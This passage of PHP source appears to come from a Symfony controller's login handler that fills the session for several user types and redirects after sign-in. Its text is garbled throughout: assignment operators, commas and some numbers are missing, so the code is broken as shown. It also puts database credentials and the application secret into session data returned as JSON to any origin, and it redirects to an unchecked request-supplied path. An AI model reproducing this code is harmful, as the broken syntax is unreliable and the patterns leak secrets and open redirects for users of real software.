  2569.                     );
  2570.                     $session_data $this->filterClientSessionData($session_data);
  2571.                     $session_data $this->filterClientSessionData($session_data);
  2572.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2573.                     $session_data $tokenData['sessionData'];
  2574.                     $token $tokenData['token'];
  2575.                     $session->set('token'$token);
  2576.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2577.                         $session->set('remoteVerified'1);
  2578.                         $response = new JsonResponse(array(
  2579.                             'uid' => $session->get(UserConstants::USER_ID),
  2580.                             'session' => $session,
  2581.                             'token' => $token,
  2582.                             'success' => true,
  2583.                             'session_data' => $session_data,
  2584.                         ));
  2585.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2586.                         return $response;
  2587.                     }
  2588.                     if ($request->request->has('referer_path')) {
  2589.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2590.                             return $this->redirect($request->request->get('referer_path'));
  2591.                         }
  2592.                     }
  2593.                     //                    if($request->request->has('gocId')
  2594.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2595.                     return $this->redirectToRoute("client_dashboard"); //will be client
  2596.                     //                    else
  2597.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2598.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  2599.                     // System administrator
  2600.                     // System administrator have successfully logged in. Lets add a login ID.
  2601.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2602.                         ->findOneBy(
  2603.                             array(
  2604.                                 'userId' => $user->getUserId()
  2605.                             )
  2606.                         );
  2607.                     if ($employeeObj) {
  2608.                         $employeeId $employeeObj->getEmployeeId();
  2609.                         $epositionId $employeeObj->getPositionId();
  2610.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2611.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2612.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2613.                     }
  2614.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2615.                         ->findOneBy(
  2616.                             array(
  2617.                                 'userId' => $user->getUserId(),
  2618.                                 'workingStatus' => 1
  2619.                             )
  2620.                         );
  2621.                     if ($currentTask) {
  2622.                         $currentTaskId $currentTask->getId();
  2623.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  2624.                     }
  2625.                     $userId $user->getUserId();
  2626.                     $userCompanyId 1;
  2627.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2628.                     $userEmail $user->getEmail();
  2629.                     $userImage $user->getImage();
  2630.                     $userFullName $user->getName();
  2631.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2632.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2633.                     $position_list_array json_decode($user->getPositionIds(), true);
  2634.                     if ($position_list_array == null$position_list_array = [];
  2635.                     $filtered_pos_array = [];
  2636.                     foreach ($position_list_array as $defPos)
  2637.                         if ($defPos != '' && $defPos != 0)
  2638.                             $filtered_pos_array[] = $defPos;
  2639.                     $position_list_array $filtered_pos_array;
  2640.                     if (!empty($position_list_array))
  2641.                         $curr_position_id $position_list_array[0];
  2642.                     $userDefaultRoute $user->getDefaultRoute();
  2643. //                    $userDefaultRoute = 'MATHA';
  2644.                     $allModuleAccessFlag 1;
  2645.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  2646.                         $userDefaultRoute '';
  2647. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  2648.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2649.                     if (isset($companyList[$userCompanyId])) {
  2650.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2651.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2652.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2653.                         $company_locale $companyList[$userCompanyId]['locale'];
  2654.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2655.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2656.                     }
  2657.                     if ($allModuleAccessFlag == 1)
  2658.                         $prohibit_list_array = [];
  2659.                     else if ($curr_position_id != 0)
  2660.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  2661.                     $loginID $this->get('user_module')->addUserLoginLog(
  2662.                         $userId,
  2663.                         $request->server->get("REMOTE_ADDR"),
  2664.                         $curr_position_id
  2665.                     );
  2666.                     $appIdList json_decode($user->getUserAppIdList());
  2667.                     $branchIdList json_decode($user->getUserBranchIdList());
  2668.                     if ($branchIdList == null$branchIdList = [];
  2669.                     $branchId $user->getUserBranchId();
  2670.                     if ($appIdList == null$appIdList = [];
  2671. //
  2672. //                    if (!in_array($user->getUserAppId(), $appIdList))
  2673. //                        $appIdList[] = $user->getUserAppId();
  2674. //
  2675. //                    foreach ($appIdList as $currAppId) {
  2676. //                        if ($currAppId == $user->getUserAppId()) {
  2677. //
  2678. //                            foreach ($company_id_list as $index_company => $company_id) {
  2679. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  2680. //                                $app_company_index = $currAppId . '_' . $company_id;
  2681. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2682. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2683. //                            }
  2684. //                        } else {
  2685. //
  2686. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  2687. //                                $this->getDoctrine()->getManager('company_group'),
  2688. //                                $gocEnabled,
  2689. //                                $currAppId
  2690. //                            );
  2691. //                            if (!empty($dataToConnect)) {
  2692. //                                $connector = $this->container->get('application_connector');
  2693. //                                $connector->resetConnection(
  2694. //                                    'default',
  2695. //                                    $dataToConnect['dbName'],
  2696. //                                    $dataToConnect['dbUser'],
  2697. //                                    $dataToConnect['dbPass'],
  2698. //                                    $dataToConnect['dbHost'],
  2699. //                                    $reset = true
  2700. //                                );
  2701. //                                $em = $this->getDoctrine()->getManager();
  2702. //
  2703. //                                $companyList = Company::getCompanyListWithImage($em);
  2704. //                                foreach ($companyList as $c => $dta) {
  2705. //                                    //                                $company_id_list[]=$c;
  2706. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  2707. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  2708. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  2709. //                                    $app_company_index = $currAppId . '_' . $c;
  2710. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2711. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2712. //                                }
  2713. //                            }
  2714. //                        }
  2715. //                    }
  2716.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  2717.                     // General User
  2718.                     $employeeId 0;
  2719.                     $currentMonthHolidayList = [];
  2720.                     $currentHolidayCalendarId 0;
  2721.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2722.                         ->findOneBy(
  2723.                             array(
  2724.                                 'userId' => $user->getUserId()
  2725.                             )
  2726.                         );
  2727.                     if ($employeeObj) {
  2728.                         $employeeId $employeeObj->getEmployeeId();
  2729.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2730.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2731.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2732.                     }
  2733.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  2734.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  2735.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  2736.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2737.                     $session->set(UserConstants::USER_ID$user->getUserId());
  2738.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2739.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  2740.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2741.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2742.                     $session->set(UserConstants::USER_NAME$user->getName());
  2743.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2744.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  2745.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2746.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2747.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2748.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2749.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2750.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2751.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  2752.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  2753.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  2754.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2755.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2756.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2757.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2758.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2759.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2760.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2761.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2762.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2763.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2764.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  2765.                         return $this->redirectToRoute("user_login_position");
  2766.                     } else {
  2767.                         $PL json_decode($user->getPositionIds(), true);
  2768.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  2769.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  2770.                         $loginID $this->get('user_module')->addUserLoginLog(
  2771.                             $session->get(UserConstants::USER_ID),
  2772.                             $request->server->get("REMOTE_ADDR"),
  2773.                             $PL[0]
  2774.                         );
  2775.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2776.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2777.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  2778.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2779.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2780.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2781.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2782.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2783.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2784.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2785.                         $appIdList json_decode($user->getUserAppIdList());
  2786.                         if ($appIdList == null$appIdList = [];
  2787.                         $companyIdListByAppId = [];
  2788.                         $companyNameListByAppId = [];
  2789.                         $companyImageListByAppId = [];
  2790.                         if (!in_array($user->getUserAppId(), $appIdList))
  2791.                             $appIdList[] = $user->getUserAppId();
  2792.                         foreach ($appIdList as $currAppId) {
  2793.                             if ($currAppId == $user->getUserAppId()) {
  2794.                                 foreach ($company_id_list as $index_company => $company_id) {
  2795.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  2796.                                     $app_company_index $currAppId '_' $company_id;
  2797.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2798.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2799.                                 }
  2800.                             } else {
  2801.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  2802.                                     $this->getDoctrine()->getManager('company_group'),
  2803.                                     $gocEnabled,
  2804.                                     $currAppId
  2805.                                 );
  2806.                                 if (!empty($dataToConnect)) {
  2807.                                     $connector $this->container->get('application_connector');
  2808.                                     $connector->resetConnection(
  2809.                                         'default',
  2810.                                         $dataToConnect['dbName'],
  2811.                                         $dataToConnect['dbUser'],
  2812.                                         $dataToConnect['dbPass'],
  2813.                                         $dataToConnect['dbHost'],
  2814.                                         $reset true
  2815.                                     );
  2816.                                     $em $this->getDoctrine()->getManager();
  2817.                                     $companyList Company::getCompanyListWithImage($em);
  2818.                                     foreach ($companyList as $c => $dta) {
  2819.                                         //                                $company_id_list[]=$c;
  2820.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  2821.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  2822.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  2823.                                         $app_company_index $currAppId '_' $c;
  2824.                                         $company_locale $companyList[$c]['locale'];
  2825.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2826.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2827.                                     }
  2828.                                 }
  2829.                             }
  2830.                         }
  2831.                         $session->set('appIdList'$appIdList);
  2832.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  2833.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  2834.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  2835.                         $branchIdList json_decode($user->getUserBranchIdList());
  2836.                         $branchId $user->getUserBranchId();
  2837.                         $session->set('branchIdList'$branchIdList);
  2838.                         $session->set('branchId'$branchId);
  2839.                         if ($user->getAllModuleAccessFlag() == 1)
  2840.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2841.                         else
  2842.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  2843.                         $session_data = array(
  2844.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  2845.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2846.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2847.                             'oAuthToken' => $session->get('oAuthToken'),
  2848.                             'locale' => $session->get('locale'),
  2849.                             'firebaseToken' => $session->get('firebaseToken'),
  2850.                             'token' => $session->get('token'),
  2851.                             'firstLogin' => $firstLogin,
  2852.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  2853.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  2854.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  2855.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  2856.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  2857.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  2858.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  2859.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  2860.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  2861.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  2862.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  2863.                             'oAuthImage' => $session->get('oAuthImage'),
  2864.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  2865.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  2866.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  2867.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  2868.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  2869.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  2870.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  2871.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  2872.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  2873.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  2874.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  2875.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2876.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2877.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2878.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  2879.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  2880.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  2881.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  2882.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  2883.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  2884.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  2885.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2886.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2887.                             //new
  2888.                             'appIdList' => $session->get('appIdList'),
  2889.                             'branchIdList' => $session->get('branchIdList'null),
  2890.                             'branchId' => $session->get('branchId'null),
  2891.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  2892.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  2893.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  2894.                         );
  2895.                         $session_data $this->filterClientSessionData($session_data);
  2896.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2897.                         $session_data $tokenData['sessionData'];
  2898.                         $token $tokenData['token'];
  2899.                         $session->set('token'$token);
  2900.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2901.                             $session->set('remoteVerified'1);
  2902.                             $response = new JsonResponse(array(
  2903.                                 'uid' => $session->get(UserConstants::USER_ID),
  2904.                                 'session' => $session,
  2905.                                 'token' => $token,
  2906.                                 'success' => true,
  2907.                                 'session_data' => $session_data,
  2908.                             ));
  2909.                             $response->headers->set('Access-Control-Allow-Origin''*');
  2910.                             return $response;
  2911.                         }
  2912.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  2913.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  2914.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  2915.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  2916.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2917.                                     return $this->redirect($red);
  2918.                                 }
  2919.                             } else {
  2920.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2921.                             }
  2922.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2923.                             return $this->redirectToRoute("dashboard");
  2924.                         else
  2925.                             return $this->redirectToRoute($user->getDefaultRoute());
  2926. //                        if ($request->server->has("HTTP_REFERER")) {
  2927. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  2928. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  2929. //                            }
  2930. //                        }
  2931. //
  2932. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2933. //                        if ($request->request->has('referer_path')) {
  2934. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  2935. //                                return $this->redirect($request->request->get('referer_path'));
  2936. //                            }
  2937. //                        }
  2938. //                        //                    if($request->request->has('gocId')
  2939. //
  2940. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2941. //                            return $this->redirectToRoute("dashboard");
  2942. //                        else
  2943. //                            return $this->redirectToRoute($user->getDefaultRoute());
  2944.                     }
  2945.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2946.                     $applicantId $user->getApplicantId();
  2947.                     $userId $user->getApplicantId();
  2948.                     $globalId $user->getApplicantId();
  2949.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2950.                     $isConsultant $user->getIsConsultant() == 0;
  2951.                     $isRetailer $user->getIsRetailer() == 0;
  2952.                     $retailerLevel $user->getRetailerLevel() == 0;
  2953.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  2954.                     $isModerator $user->getIsModerator() == 0;
  2955.                     $isAdmin $user->getIsAdmin() == 0;
  2956.                     $userEmail $user->getOauthEmail();
  2957.                     $userImage $user->getImage();
  2958.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  2959.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2960.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2961.                     $buddybeeBalance $user->getAccountBalance();
  2962.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  2963.                     $userDefaultRoute 'applicant_dashboard';
  2964. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  2965.                     $userAppIds = [];
  2966.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  2967.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  2968.                     if ($userAppIds == null$userAppIds = [];
  2969.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  2970.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  2971.                     foreach ($userTypesByAppIds as $aid => $accData)
  2972.                         if (in_array($aid$userSuspendedAppIds))
  2973.                             unset($userTypesByAppIds[$aid]);
  2974.                         else
  2975.                             $userAppIds[] = $aid;
  2976. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  2977.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  2978.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  2979.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  2980.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  2981.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  2982.                     $loginID MiscActions::addEntityUserLoginLog(
  2983.                         $em_goc,
  2984.                         $userId,
  2985.                         $applicantId,
  2986.                         1,
  2987.                         $request->server->get("REMOTE_ADDR"),
  2988.                         0,
  2989.                         $request->request->get('deviceId'''),
  2990.                         $request->request->get('oAuthToken'''),
  2991.                         $request->request->get('oAuthType'''),
  2992.                         $request->request->get('locale'''),
  2993.                         $request->request->get('firebaseToken''')
  2994.                     );
  2995.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  2996.                     // General User
  2997.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2998.                         ->findOneBy(
  2999.                             array(
  3000.                                 'userId' => $user->getUserId()
  3001.                             )
  3002.                         );
  3003.                     if ($employeeObj) {
  3004.                         $employeeId $employeeObj->getEmployeeId();
  3005.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  3006.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  3007.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  3008.                     }
  3009.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  3010.                         ->findOneBy(
  3011.                             array(
  3012.                                 'userId' => $user->getUserId(),
  3013.                                 'workingStatus' => 1
  3014.                             )
  3015.                         );
  3016.                     if ($currentTask) {
  3017.                         $currentTaskId $currentTask->getId();
  3018.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  3019.                     }
  3020.                     $userId $user->getUserId();
  3021.                     $userCompanyId 1;
  3022.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  3023.                     $userEmail $user->getEmail();
  3024.                     $userImage $user->getImage();
  3025.                     $userFullName $user->getName();
  3026.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  3027.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  3028.                     $position_list_array json_decode($user->getPositionIds(), true);
  3029.                     if ($position_list_array == null$position_list_array = [];
  3030.                     $filtered_pos_array = [];
  3031.                     foreach ($position_list_array as $defPos)
  3032.                         if ($defPos != '' && $defPos != 0)
  3033.                             $filtered_pos_array[] = $defPos;
  3034.                     $position_list_array $filtered_pos_array;
  3035.                     if (!empty($position_list_array))
  3036.                         foreach ($position_list_array as $defPos)
  3037.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  3038.                                 $curr_position_id $defPos;
  3039.                             }
  3040.                     $userDefaultRoute $user->getDefaultRoute();
  3041.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  3042.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  3043.                         $userDefaultRoute 'user_default_page';
  3044.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  3045.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  3046.                     if (isset($companyList[$userCompanyId])) {
  3047.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  3048.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  3049.                         $company_locale $companyList[$userCompanyId]['locale'];
  3050.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  3051.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  3052.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  3053.                     }
  3054.                     if ($allModuleAccessFlag == 1)
  3055.                         $prohibit_list_array = [];
  3056.                     else
  3057.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  3058.                     $loginID $this->get('user_module')->addUserLoginLog(
  3059.                         $userId,
  3060.                         $request->server->get("REMOTE_ADDR"),
  3061.                         $curr_position_id
  3062.                     );
  3063.                     $appIdList json_decode($user->getUserAppIdList());
  3064.                     $branchIdList json_decode($user->getUserBranchIdList());
  3065.                     if ($branchIdList == null$branchIdList = [];
  3066.                     $branchId $user->getUserBranchId();
  3067.                     if ($appIdList == null$appIdList = [];
  3068.                     if (!in_array($user->getUserAppId(), $appIdList))
  3069.                         $appIdList[] = $user->getUserAppId();
  3070.                     foreach ($appIdList as $currAppId) {
  3071.                         if ($currAppId == $user->getUserAppId()) {
  3072.                             foreach ($company_id_list as $index_company => $company_id) {
  3073.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3074.                                 $app_company_index $currAppId '_' $company_id;
  3075.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3076.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3077.                             }
  3078.                         } else {
  3079.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3080.                                 $this->getDoctrine()->getManager('company_group'),
  3081.                                 $gocEnabled,
  3082.                                 $currAppId
  3083.                             );
  3084.                             if (!empty($dataToConnect)) {
  3085.                                 $connector $this->container->get('application_connector');
  3086.                                 $connector->resetConnection(
  3087.                                     'default',
  3088.                                     $dataToConnect['dbName'],
  3089.                                     $dataToConnect['dbUser'],
  3090.                                     $dataToConnect['dbPass'],
  3091.                                     $dataToConnect['dbHost'],
  3092.                                     $reset true
  3093.                                 );
  3094.                                 $em $this->getDoctrine()->getManager();
  3095.                                 $companyList Company::getCompanyListWithImage($em);
  3096.                                 foreach ($companyList as $c => $dta) {
  3097.                                     //                                $company_id_list[]=$c;
